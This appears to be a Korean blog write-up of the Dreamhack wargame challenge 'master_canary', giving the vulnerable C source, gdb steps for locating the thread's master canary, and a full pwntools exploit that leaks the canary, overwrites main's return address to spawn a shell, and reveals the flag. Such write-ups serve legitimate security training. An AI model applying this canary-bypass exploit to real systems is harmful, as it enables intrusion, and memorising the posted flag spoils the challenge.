Description

    이 문제는 서버에서 작동하고 있는 서비스(master_canary)의 바이너리와 소스 코드가 주어집니다.
    카나리 값을 구해 실행 흐름을 조작해 셸을 획득하세요.
    셸을 획득한 후 얻은 “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Ubuntu 16.04
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

    로컬 테스트 환경:
    Ubuntu 16.04.7 LTS x86_64
    Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

    checksec

    seo@ubuntu:~/Desktop/master_canary$ checksec ./master_canary
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    [*] '/home/seo/Desktop/master_canary/master_canary'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    Source Code

    master_canary.c

    // gcc -o master master.c -pthread
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <pthread.h>
    
    char *global_buffer;
    
    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        signal(SIGALRM, alarm_handler);
        alarm(60);
    }
    
    void get_shell() {
        system("/bin/sh");
    }
    
    void *thread_routine() {
        char buf[256];
    
        global_buffer = buf;
    }
    
    void read_bytes(char *buf, size_t size) {
        size_t sz = 0;
        size_t idx = 0;
        size_t tmp;
    
        while (sz < size) {
            tmp = read(0, &buf[idx], 1);
            if (tmp != 1) {
                exit(-1);
            }
            idx += 1;
            sz += 1;
        }
        return;
    }
    
    int main(int argc, char *argv[]) {
        size_t size;
        pthread_t thread_t;
        size_t idx;
        char leave_comment[32];
    
        initialize();
    
        while (1) {
            printf("1. Create thread\n");
            printf("2. Input\n");
            printf("3. Exit\n");
            printf("> ");
            scanf("%d", &idx);
    
            switch (idx) {
                case 1:
                    if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
                        perror("thread create error");
                        exit(0);
                    }
                    break;
                case 2:
                    printf("Size: ");
                    scanf("%d", &size);
    
                    printf("Data: ");
            read_bytes(global_buffer, size);
    
                    printf("Data: %s", global_buffer);
                    break;
                case 3:
                    printf("Leave comment: ");
                    read(0, leave_comment, 1024);
                    return 0;
                default:
                    printf("Nope\n");
                    break;
            }
        }
    
        return 0;
    }

    1) Create thread

    pthread_create를 통해 thread_routine 쓰레드를 생성하며,
    쓰레드 함수에서 buf의 주소를 global_buffer 전역변수에 넣는다.

    2) Input

    size 크기만큼 데이터를 입력받고,
    read_bytes 함수를 통해 1바이트씩 global_buffer 변수에 넣은 뒤 출력한다.

    3) Exit

     leave_comment 변수에 1024 byte만큼 값을 읽어들이고 종료한다.

    Solution

    1) thread_routine+40 지점에 브레이크포인트를 걸고 master canary 값이 들어있는 주소와 global_buffer에 들어있는 주소를 확인하고 거리를 계산한다.

    gdb-peda$ b *0x400a83
    Breakpoint 1 at 0x400a83
    ...
       0x400a73 <thread_routine+24>:        xor    eax,eax
       0x400a75 <thread_routine+26>:        lea    rax,[rbp-0x110]
       0x400a7c <thread_routine+33>:        mov    QWORD PTR [rip+0x20162d],rax        # 0x6020b0 <global_buffer>
    => 0x400a83 <thread_routine+40>:        nop
       0x400a84 <thread_routine+41>:        mov    rdx,QWORD PTR [rbp-0x8]
       0x400a88 <thread_routine+45>:        xor    rdx,QWORD PTR fs:0x28
       0x400a91 <thread_routine+54>:        je     0x400a98 <thread_routine+61>
       0x400a93 <thread_routine+56>:        call   0x400820 <__stack_chk_fail@plt>
    ...
    Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a83 in thread_routine ()

    위와 같이 브레이크포인트를 걸고, 1번 메뉴인 create_thread를 호출하였다.

    이제 마스터 카나리 값이 들어있는 주소를 확인하려고 하면,

    gdb-peda$ x/gx $fs_base+0x28
    Argument to arithmetic operation not a number or boolean.

    확인하지 못하고 위와 같은 문구가 뜨는데,
    ubuntu 16.04에는 gdb7 버전이어서 값이 나오지 않는다.
    따라서 아래 stackoverflow 글을 참고해서 확인할 수 있었다.

    https://stackoverflow.com/a/23121188

    gdb-peda$ p $rsp
    $1 = (void *) 0x7ffff77eee40
    gdb-peda$ call arch_prctl(0x1003, $rsp - 0x8)
    $2 = 0x0
    gdb-peda$ x /gx $rsp - 0x8
    0x7ffff77eee38: 0x00007ffff77ef700
    gdb-peda$ x/gx 0x00007ffff77ef700+0x28
    0x7ffff77ef728: 0xfcadef69c673ef00

    마스터 카나리 값은 0x7ffff77ef728 주소에 있었다.

    이제 global_buffer 전역변수에 담긴 주소를 확인한다.

    gdb-peda$ x/gx 0x00000000006020B0
    0x6020b0 <global_buffer>:       0x00007ffff77eee40

    global_buffer 전역변수에 담긴 주소는 0x00007ffff77eee40였다.

    마스터 카나리 값이 들어있는 주소와 global_buffer 전역변수에 담긴 주소를 서로 빼면,

    >>> hex(0x7ffff77ef728 - 0x7ffff77eee40)
    '0x8e8'

    0x8e8 오프셋을 구할 수 있다.

    2) 마스터 카나리 값 leak하기

    이제 2번 메뉴인 input을 통해 global_buffer에 0x8e8+1만큼 버퍼를 채우면 카나리를 leak할 수 있다.

    3) main’s RET을 get_shell로 조작하기

    카나리 값을 얻었으면,
    3번 exit 메뉴를 통해 카나리와 함께 main’s RET 주소를 get_shell 주소로 바꿔주는 페이로드를 작성해주면 된다.
    할당된 leave_comment 지역변수 크기는 32바이트인데, read 함수에서 1024바이트만큼 입력받으므로 버퍼 오버플로우가 발생한다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./master_canary")
    p = remote("host3.dreamhack.games", 15636)
    e = ELF("./master_canary", checksec=False)
    
    def create_thread():
        p.sendlineafter("> ", "1")
    
    def input(size, data):
        p.sendlineafter("> ", "2")
        p.sendlineafter("Size: ", str(size))
        p.sendafter("Data: ", data)
        p.recvuntil("Data: ")
        data = p.recvuntil("1. Create thread")
        data = data.split(b"1. Create thread")[0]
        #print("data: "+ str(data))
        return data
    
    def exit(comment):
        p.sendlineafter("> ", "3")
        p.sendlineafter("Leave comment: ", comment)
    
    create_thread()
    
    #leak master canary
    canary = input(0x8e9, "A"*0x8e9) 
    canary = canary[0x8e9:0x8e9+7]
    canary = u64(canary.rjust(8, b"\x00"))
    print("canary: " + hex(canary))
    
    #Overwrite get_shell to main's RET address
    payload = b""
    payload += b"A"*40
    payload += p64(canary)
    payload += b"B"*8
    payload += p64(e.symbols["get_shell"])
    exit(payload)
    
    p.interactive()

    Result

    seo@ubuntu:~/Desktop/master_canary$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 15636: Done
    [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
    canary: 0xd9b3a7fae7e3100
    [*] Switching to interactive mode
    $ ls
    flag
    master_canary
    $ cat flag
    DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다